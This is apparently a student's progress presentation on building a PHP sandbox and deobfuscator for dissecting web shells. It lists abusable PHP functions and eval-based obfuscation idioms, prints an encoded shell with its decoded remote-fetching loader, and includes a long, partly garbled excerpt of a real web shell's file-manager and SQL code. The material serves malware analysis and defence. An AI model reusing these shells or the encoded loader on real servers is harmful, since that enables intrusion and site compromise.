

A PHP Sandbox for the Dissection of Web Malcode and Remote Access Trojans

Peter Wrench

Supervised by Prof Barry Irwin

Overview

- Recap of the problem description
- Recap of the objectives
- What I've done
- Problems I've encountered
- What I'd still like to do
- Questions

Problem

- PHP has become the language of choice for developers of Remote Access Trojans (web shells)
- Proliferation of such shells has become more aggressive in recent years
- Developers disguise their malware by employing code obfuscation techniques
- Sheer volume and clever code obfuscation frustrate efforts to identify and dissect malware

Objectives

- A deobfuscator for normalising input code before execution.
- A sandbox for executing and dissecting malicious PHP code
- A reporting mechanism for feedback on any offensive features detected by the system.

What I've done

- Research into popular obfuscation techniques
- Evaluation of other proprietary deobfuscators
- Partial implementation of a deobfuscation system with some basic reporting
- Installation and testing of the `runkit_sandbox` extension for PHP

Obfuscation techniques

- PHP has a long list of functions that can be abused by an attacker:

```
extract - Opens the door for register_globals attacks (see study in scarlet).  
parse_str - works like extract if only one argument is given.  
putenv  
ini_set  
mail - has CRLF injection in the 3rd parameter, opens the door for spam.  
header - on old systems CRLF injection could be used for xss or other purposes  
proc_nice  
proc_terminate  
proc_close  
pfsockopen  
fsockopen  
apache_child_terminate  
posix_kill  
posix_mkfifo  
posix_setpgid  
posix_setsid  
posix_setuid
```

Obfuscation techniques cont.

- I am interested specifically in functions that can be used for obfuscation
- Several coding idioms are common across all shells:

- `eval(gzinflate(base64_decode('Code')))`
- `eval(gzinflate(str_rot13(base64_decode('Code'))))`
- `eval(gzinflate(base64_decode(str_rot13('Code'))))`
- `eval(gzinflate(str_rot13(base64_decode(str_rot13('Code')))))`
- `eval(gzinflate(base64_decode(str_rot13(strrev('Code')))))`
- `eval(gzuncompress(base64_decode('Code')))`
- `eval(gzinflate(base64_decode(rawurldecode('Code'))))`



`eval()`

Existing decoders

- Proprietary software can do some very impressive things:

Function Flow Chart

Decoding Step 2 results:

```
h5('http://mycompanyeye.com/bulbozavr/puk7/13.list', 1 *  
900);  
function h5($u, $t){  
    $nobot = isset($_REQUEST['nobot']) ? true : false;  
    $debug = isset($_REQUEST['debug']) ? true : false;  
    $t2     = 3600 * 5;  
    $t3     = 3600 * 12;  
    $tm     = (!@ini_get('upload_tmp_dir')) ? '/tmp/' :  
@ini_get('upload_tmp_dir');  
    if (!$tmp = triksp(array($tm, './images/avatars/')))
```

ginfo

stop

My decoder

- Trying to implement some of the features that I found by looking at other decoders
- Focusing on extensibility
- Also trying to add code persistence and similarity analysis
- Using the `runkit_sandbox` to disable functions that I don't yet override manually

My decoder cont.

PHP Decoder

Original Shell:

```
<?php
eval( gzinflate(
base64_decode('TVXXCuzIFfyX+7I2Y1Y5YfygVs7SKIsLRjmMRlkzkr7eWt+F3Yei+LRV01DQnGkp6/8u5dSnefmPH9DvD6j88a8fPw+S+HlQ5M3IDe7ngdI3U7fG3sz
cEG6Qv7w/MhT+687/c+ifGvZLw+4cdvuEeM9/5sg/vL/NKP3bERRbzySY0PGB9U739UmhxZQHhM1nEkt3duMyG/w1M0d7pE6
/NIE2J7A6wueoeGDeY3y6VY0hwLejk2+pDZqtleoXMJ4aDrcU94jIn2onKtQBcg0W0ERjT7rAes62msIXIGxvUJfuVmuZYsHZX3a0BfhjM0
/7ZkwXjnr6CzRfPi4uSyMxhWSL2HDwc5XHL6WfnMv6yqZNB0Lv+pkFxnNR0LzqL0YPzGT9zwEFE1SuuFvpMuGMftk0VaZgZYPqBSqY/BbZICntFC04WqjWfs0q
/a7D1MEG2lpV9Li9GnHCcIjBJ1QbEHnlolekU0xqz1RDlp70wgrLA8dJxrHXJHfJmPPOP8Knh34RQFP27K7L15TynGcYKP07CmZAktZoIWavGc1ZjZqQF6cd6Bg9xsFni
KXiGYoDU5VXLn3Y+e4
/LvGYZhh4NmXg0VhmqewzeGb4GQW96RhngPxQYIPU5Fn2doMjPjF9Em1Lw5SyXwLDEdMnYCh6zSw+Dr7zLhvKz0zRvJ0p7MnLk8HmMnIpyn8cw6mHMZMyY0EPTUrHUB
mTrMvLkmrR6TsyvTqASXrgdmVzGt+EhcBLMD2bgS1Gndj002cflT+fmAGam4fsi09a70mK238JGnGNj7rzZ8VBHjc0eHT3FjYxrs5Cx0UgyKKWA9R8xyA2MB9q+xsoSeN0
KI1FZb/o+ruMg0UysnHggjARFwB00YFbZvpf1GaJaWNfDNQtotcpI50ASyi/4EjKpj
/MN0bXpYm5wnXqJZG0cFf1uL4668CI6cFr2uqxyxsLAvV86IceHka0KxUy40kgKU61Bop0PpBqzQJzz3nWutELG7dTDc2U3D9NDtG37LMTDjDjDsJDCSeLznR
/EnyJSsetGZnU2AIxvG6JZ0R032S5PzLqKbXnJxBnrWbHn9i5RVTgHlgzh2hePUku1BbZ2Sdrue4TIWpYBZD5aB+12vTDcRdPGjw4hJjd9ybTiKFrh00NSCKdB8Qf1Yag
swGvZx7D1ZEzR01qizTn0IyVfKB7AJlwyZKsWuYanKu6idzB1YIC4Cregzgzkhzc0fadPyIzcykn6CgbIrn5Mws8hT9D7PPPMAXQ6TI5lC2wBM69C2Nlo3ACNADMaDt
RrTU7rv+/ORroyXewSpsoczCbNiZxLDwJQBoxdacP8Hh2ZiznOMI50AEQGMBS6a/Qb4Z1IGBBde8DpeQu4jN/jqLqqIwqWNL76S4E32ZGyL1BvWrrq0DWesKnceG5KJ
/nMqkxbxfJ3mK5EtM260KML4q8i/gdmznc85T5fuetZM35n5nXZvYr7DYE15zE36VGkd7pzsGq0W4hcZuaseJebn
/YriG7MKfwdCjx+60RrHrkhN8J0r3F+Ie2Cma0BnaM2maFmRBBqQAqILkz4A8Si0wxWadck2CieIMk03AbPZ4AZtgdlCnr+CDIU9lR0J5lghaWEcSP4Nwujbc8jzCqh6AHN
eZH6SLIAe681UPqPLHJwyHuqYBLC/FZc9UlkEkHqV0+ZUFwKALsL/pLp0lofX+tCqpr1g13kVUX/Y/v90bgfklGLiX0u8//vnnv/wE=') );
?>
```

Deobfuscated Shell:

```
<?php
h5('http://mycompanyeye.com/bulbozavr/puk7/13.list',1*900);
functionh5($u,$t){
    $nobot=isset($_REQUEST['nobot'])?true:false;
    $debug=isset($_REQUEST['debug'])?true:false;
    $t2=3600*5;
    $t3=3600*12;
    $tm=(!ini_get('upload_tmp_dir'))?'/tmp':@ini_get('upload_tmp_dir');
    if(!$tmp=triKsp(array($tm,'./images/avatars'))){
        if($debug){
            echo('DEBUG: (ERROR: temporarypathnotfound, return)<br>'. "\r\n");
        }
        return;
    }
    $agent=isset($_SERVER['HTTP_USER_AGENT'])?$_SERVER['HTTP_USER_AGENT']:'';
    if($debug){
        echo('DEBUG: (INFO: temporarypath=' . $tm . ')<br>, agent(' . $agent . ')'. "\r\n");
    }
    if(!preg_match('(http|curl|google|yahoo|yandex|ya|bing|bot|crawl|lynx|SiteUptime|Spider|ia_archiver|AOL|slurp|msn)%i',$agent,$ret)){
        if($debug){

```

Shell Information:

Depth: 2

My decoder cont.

```
//While there are still evals in the script
while(strpos($this->decoded, "eval(", $currentPos) !== false)
{
    //Extract the eval
    $startEval = strpos($this->decoded, "eval(", $currentPos);
    $currentPos = $startEval + 1;
    $endEval = strpos($this->decoded, ";", $currentPos);
    $eval = substr($this->decoded, $startEval + 5, $endEval - $startEval - 6);

    //Remove the eval from the script
    $this->decoded = str_replace("eval(". $eval . ");", "", $this->decoded);

    //Extract the text from the eval
    $startText = strpos($eval, "\"");
    if($startText === false) { $startText = strpos($eval, "'"); }
    $endText = strrpos($eval, "\"");
    if($endText === false) { $endText = strrpos($eval, "'"); }
    $text = substr($eval, $startText + 1, $endText - $startText - 1);

    //Count the number of functions used in the eval
    $count = substr_count($eval, "(");

    //Populate the array of functions to be applied to the text
    $functions = array();
    $functionPos = 0;
    for($i = 0; $i < $count; $i++)
    {
        $nextBracket = strpos($eval, "(", $functionPos);
        $functions[$i] = substr($eval, $functionPos, $nextBracket - $functionPos);
        $functionPos = $nextBracket + 1;
    }
    $functions = array_reverse($functions);

    //Determine the code to be inserted in the eval's place
    for($i = 0; $i < $count; $i++)
    {
        switch($functions[$i])
        {
            case "base64_decode":
                $text = base64_decode($text);
                break;

            case "gzinflate":
                $text = gzinflate($text);
                break;
        }
    }
}
```

The runkit_sandbox

- An extension for PHP that allows you to run a script in a controlled environment:
 - Separate scope and stack
 - `safe_mode_include_dir`
 - `open_basedir`
 - `allow_url_fopen`
 - `disable_functions`
 - `disable_classes`

Problems I've encountered

PHP Decoder

Original Shell:

```
<?php
//Starting calls
if (function_exists("getmicrotime")) { function getmicrotime() {list($usec, $sec) = explode(" ", microtime()); return ((float)$usec + (float)$sec);} }
error_reporting(5);
@ignore_user_abort(TRUE);
@set_magic_quotes_runtime(0);
$win = strtolower(substr(PHP_OS,0,3)) == "win";
define("starttime",getmicrotime());
if (get_magic_quotes_gpc()) { if(function_exists('strips')) { function stripslashes(&$arr,$k='') { if (is_array($arr)) { foreach ($arr as $k=>$v) { if (strtoupper($k) != "GLOBALS")
{ stripslashes("$k");}} } else { $arr = stripslashes($arr);} } stripslashes(GLOBALS);}
$_REQUEST = array merge($_COOKIE,$_GET,$_POST);
foreach($_REQUEST as $k=>$v) { if (isset($$k)) {$$k = $v;}}

sshver = "Emp3ror Undetectable #18"; //Current version
//CONFIGURATION AND SETTINGS
if (empty($unset_surl)) {setcookie("N3tsh_surl"); $surl = "";}
elseif (empty($set_surl)) {$surl = $set_surl; setcookie("N3tsh_surl",$surl);}
else {$surl = $_REQUEST["N3tsh_surl"]; //Set this cookie for manual SURL
}

$surl autofill include = TRUE; //If TRUE then search variables with descriptors (URLs) and save it in SURL.

[Yes] [No]; if ($tbl_struct) { echo "Fields:
*, foreach ($tbl_struct as $field) { $name = $field["Field"]; echo ">" . "$name."
"}, echo ""; } } if ($sql_query result or ($sql_confirm) { $sql_query = $sql last query; } } if (function_exists("mysql_create_db")) { function mysql_create_db($db,$sock=
" $sql = "CREATE DATABASE ".$addslashes($db).";"; if ($sock) {return mysql_query($sql,$sock); } else {return mysql_query($sql); } } if
(function_exists("mysql_query_parse")) { function mysql_query_parse($query) { $query = trim($query); $arr = explode (" ", $query); /array array() {
METHOD=>array(output type), "METHOD1"... }; if output type == 0, no output, if output type == 1, no output if no error if output type == 2, output without control-
methods if output type == 3, output with control-blocks */ $types = array("SELECT">array(3,1), "SHOW">array(2,1), "DELETE">array(1), "DROP">array(1)); $result
array(); $op = strtoupper($arr[0]); if (is_array($types[$op])) { $result["properties"] = $types[$op]; $result["query"] = $query; if ($types[$op] == 2) { foreach ($arr as $k=>$v)
{ if (strtoupper($v) == "LIMIT") { $result["limit"] = $arr[$k+1]; $result["limit"] = explode(",",$result["limit"]); if (count($result["limit"]) == 1) { $result["limit"] =
array(0,$result["limit"][0]); } unset($arr[$k],$arr[$k+1]); } } } else {return FALSE; } } } if (function_exists("N3tfsearch")) { function N3tfsearch($d) { global $found; global
$found_d; global $found_f; global $search_i; f: global $search_i d; global $a; if (substr($d,-1) != DIRECTORY_SEPARATOR) {$d = DIRECTORY_SEPARATOR; $h =
opendir($d); while (($f = readdir($h)) != FALSE) { if($f != "." && $f != "..") { $bool = (empty($a["name_regexp"]) and strpos($a["name"]) != FALSE) ||
($a["name_regexp"] and ereg($a["name"],$f)); if (is_dir($d.$f)) { $search_i d++; if (empty($a["text"]) and $bool) { $found[] = $d.$f; $found_d++; } if (is_link($d.$f))
{N3tfsearch($d.$f); } } else { $search_i f++; if ($bool) { if (empty($a["text"])) { $r = @file_get_contents($d.$f); if ($a["text wwo"]) { $a["text"] = " ".trim($a["text"]). " "; } if
($a["text cut"]) { $a["text"] = strtolower($a["text"]); $r = strtolower($r); } if ($a["text regexp"]) { $bool = ereg($a["text"],$r); } } } else { $bool = strpos(" ".$r,$a["text"],1); if
(is_dir($f)) { $a["text"] = $a["text"] . $f; } if ($bool) { $found[] = $d.$f; $found_f++; } } } closedir($h); } } if ($act == "goile") { if
(is_dir($f)) { $act = "ls"; $d = $f; } else { $act = "F"; $d = dirname($f); $f = basename($f); } //Sending headers @ob_start(); @ob implicit flush(0); function onphpshtdown() {
global $gzipencode; $f; if (@headers_sent() and $gzipencode and lin_array($ft,array("img","download","notepad")) ) { $v = @ob_get_contents(); @ob_end_clean();
@ob_start(@gzHandler); echo $v; @ob_end_flush(); } } function N3tsexitit() { onphpshtdown(); exit; } header("Expires: Mon, 26 Jul 1997 05:00:00 GMT"); header("Last-
Modified: ", gmdate("D, d M Y H:i:s"), " GMT"); header("Cache-Control: no-store, no-cache, must-revalidate"); header("Cache-Control: post-check=0, pre-check=0", FALSE);
header("Pragma: no-cache"); if (empty($tmpmdir) ) { $tmpmdir = ini_get("upload tmp dir"); if (is_dir($tmpmdir) ) { $tmpmdir = "/tmp/"; } } $tmpmdir = realpath($tmpmdir); $tmpmdir =
str_replace("\\\\",DIRECTORY_SEPARATOR,$tmpmdir); if (substr($tmpmdir,-1) != DIRECTORY_SEPARATOR) $tmpmdir = DIRECTORY_SEPARATOR; if (empty($tmpmdir_logs) )
{$tmpmdir_logs = $tmpmdir; } else { $tmpmdir_logs = realpath($tmpmdir_logs); } if (@ini_get("safe mode") or strtolower(@ini_get("safe mode")) == "on") { $safemode = TRUE;
$hsafemode = "ON (secure)"; } else { $hsafemode = FALSE; $hsafemode = "OFF (no secure)"; } $v = @ini_get("open_basedir"); if ($v or strtolower($v) == "on")
{ $openbasedir = TRUE; $hsopenbasedir = ".*. $v."; } else { $openbasedir = FALSE; $hsopenbasedir = "OFF (not secure)"; } $sort = htmspecialchars($sort); if (empty($sort))
{ $sort = $sort default; } $sort[1] = strtolower($sort[1]); $DISP_SERVER_SOFTWARE = getenv("SERVER_SOFTWARE"); if
(lereg("PHP/",phpversion()),$DISP_SERVER_SOFTWARE) { $DISP_SERVER_SOFTWARE .= " PHP".phpversion(); } $DISP_SERVER_SOFTWARE =
str_replace("PHP/",phpversion(),"PHP".phpversion().",",htmspecialchars($DISP_SERVER_SOFTWARE)); @ini_set("highlight.bg",highlight_bg); /FFFFFFF
@ini_set("highlight.comment",highlight_comment); /#FF8000 @ini set("highlight.default",highlight_default); /#0000BB @ini set("highlight.html",highlight_html);
/000000 @ini set("highlight.keyword",highlight_keyword); /#007700 @ini set("highlight.string",highlight_string); /#DD0000 if (is_array($actbox)) { $actbox = array();
sdspact = $act = htmspecialchars($act); $disp_fullpath = $ls arr = $notts = null; $sd = urlencode($sd); ?>
```

```
header("Content-disposition:attachment; filename=\"%f.%i\"; ", echo$y, exit; }
type:text/plain"); header("Content-disposition:attachment; filename=\"%f.%i.tx
$inf=getimagesize($d.$d); if(!$white) { if(empty($imgsize)){$imgsize=20; } $w
$height=$sinf[1]/100*$imgsize; echo"
Size: "; $sizes=array("100","50","20"); foreach($sizesas$v) { echo"; if($im
echo"
```

```

"; } else { @ob_clean(); $ext=explode($f,"."); $ext=$ext{count($ext)-1}; header(
    elseif($f=="edit") { if(!empty($submit)) { if($filestateh){$stat=stat($d,$f);
    } else { echo"Saved!"; fwrite($Subdir, text); fclose($f); if($filestateh){touch($
    $rows=count(explode("\r\n",$r)); if($rows>10){$rows=10; } if($rows>30){$row
    ".htmlspecialchars($r).""; } elseif(!empty($f)){echo"

```

```

    }, } } } else { @ob clean0; $images=array( "arrow ltr">>
        "R0LGODlHjgAWAIAAAAAAAP//jyH5BAUUAFAALAAAAAAmABYAAIvj+py-0P
        "SirUZGZBoerKf28kJPNOaknu5RFz+uAQsBk8RIogAAOW==", "back">=> "R0LGOD
        //wAAACH5BAEAAAwALAAAAAAALAAQAAQAAM8". "aLrcJDKSvWVpjYvsNJYJdC
        /3zBSERf6kbW+qKRIPRghPh+EFKkOmOEqT". "WgoJDAS=", "buffer">=> "R0LG
        //jyH5BAEAAACALAAAAPUAQBQAANA0".
        "eLrcribG90y4f1Amu5+NhyL2xldCMKWorRSuGvpJ4mlmwDAWgiAGFXChg+xl
        /Dlwdc4F6cmi2YjQXaksEGDFnnGWDTZej9jrPrdbbhG04rC/ZINZOIEChg+Sdv
        "R0LGODlHFAAUAMQIAL3he7n+pqqo1Ej7fVtAcTv+8vh+6FH56WZtvr/RAQEZF
        /KOm99df/P8AZm57rk5H4ZEhpil9eqc3GzmZv/jyH5BAEA".
        "AB8ALAAAAAAAwABQAAAwf4CGeOzmCeNmTLouX+c4TVNtUW9ezqfzg4HF0
        "wsIUtiwmYkkrgOOAAs5zrqalldBINmijlTd26kgYvTDQdm5Rx8mdG+AbASydahM0
        "CHjkE4aqOkQ0AlSTtan+ZAQqkiiOPjIAFAmAKEYjYD39qrKwKAa8nGOQK8AgU/
        "R0LGODlHFAAUAOZZAPz8/NPFjNh8SOyVPnBh/29scapNXV1I9cxwOfDZW
        ") "6dcGLMPurRurg6PKstvbt+v7+1Ghl30rPdP17Aiexpyle9FX7djcsS9m93dz3C
        "SGRKZGuOU+IfU+EQNuoh6fdPeihH4YFKf5UjY8ui+xm5ubscsxOc8kMcMQr
        "vHx8HmfNjnc3QI3v8rh9E80NB0zs9YWFH5UIKYop+vTkSNoSufxn37VGZosQRf
        "ZAAPNudAX9sKMPPv+15QU5ubm39r/f8e5u4xiatra2uhKz8PDww+pfsee/JMK0t8
        = "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
        v) "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
        "BAEAAFKALAAAAAAwABQAAAEsgFmCg4SFhoeliuflImIMlgQ4B6GLIAYOKa
        "St5McISvGwBq1qfChckObQi1OWialALCLgxjlTiB6I9FRhdF4HdJHRJZvFGpI
        "BZTAxmOFgmCmk4lVWCQPSib960qGNfHCk104dg90QWFcKDl3A4uUojZZABz
        "jwVFHBghiEGOFigQasYkcSbjQIAA7+", "download">=> "R0LGODlHFAUUALMIAAI
        //wAAAAAAAAAAAAAAAAAAAAAAAAAAAA".
        "AAAAACH5BAEAAAGALAAAAAAwABQAAAR0EMljq704UYGovklHfvU4kpOJS
        "EYOGcgBgkwAiGpRhZB2jADASQFCidQisMfdGqsJDnoQLT33prvW3Xqgl4
        "R0LGODlHFAUAPIAAAAAAP//93d3cDAwaHgQEbp//wAAACH5BAEAAAYAL
        { "aLrcJDK2Op9xv5WiN5G50FZarLDlHe66p13tRDbbd9CFQSE4AP+QW7HeU7
        "R0LGODlHFAUULMAAAAAAP//+trq6t3dz3czMZKysoaGhmZmZl9FX//wAAA
        "AAAAACH5BAEAAAKALAAAAAAwABQAAAB+mKMT3TW7Gi6pmO3cUWRReql
        "krqASLf7YQBIL4RCYFSppMDRRcOOAIL48icAzgQ09FWfBYZHBB6U+CEwRcequ
        "vYwMrBDZvgF+ChtaGeYicBOYHCHBVjaWdaESl5YW5+goBRIDxs=", "mode
        "R0LGODlHQAUALMAAAAAAP//6CgnP3d3czMziaGhmZmZl9FX//wAAAAAAAA
        "AAAAACH5BAEAAAGALAAAAAAwABQAAASBMElj70461m6/AHZMUgnGiqT
        "2BZCWgcDeExk/Uq4ICACEQ6fzmXTnsd0ld69yb7fVyPER532IOxy1IK8wpots
        "dhILRWIEepRtXBvHWuD3o6eGD0HASXmmJmamJYSE534+gnxujpBIRADS="
        "R0LGODlHEQUALMAAAAAAP//Hx8ergu6PJ493dz3czMZKysoaGhmZmZl9FX
        "AAAAACH5BAEAAAwALAAAAAAALAAAAARBAAGrlkMJq00460xzR+GAoIMvkheIYN
        "3AKCYbjo/Y4EqGFgKIUVh8WQ6PWFPQJlpLpunrXLZYKrX2G03SDA7093F
        "R3lufmWCvx13h3KHfWMWmjGBDQpOUTUXmJGRADS=", "search">=>
        "R0LGODlHFAUULMAAAAAAP//+trq6t3dz3czMZkiaWkysoaGhmZmZl9FX
        "AwAAACH5BAEAAAwALAAAAAAwABQAAASDM5io0izG6u4TZGelZuHieBNB

```

Problems cont.

- Learning HTML and PHP as I go along
- Configuring the `runkit_sandbox` properly
- Uploading the shells without letting them run
- Managing file permission carefully to prevent errant shells from destroying my project (not just giving Apache read, write and execute permissions like I did to begin with)

What I'd still like to do

- Save decoded scripts in a sensible way
- List variables, URLs and email addresses discovered in code
- Graphically illustrate the chain of functions called by a script
- Perform a similarity match between new shells and those already stored

Questions

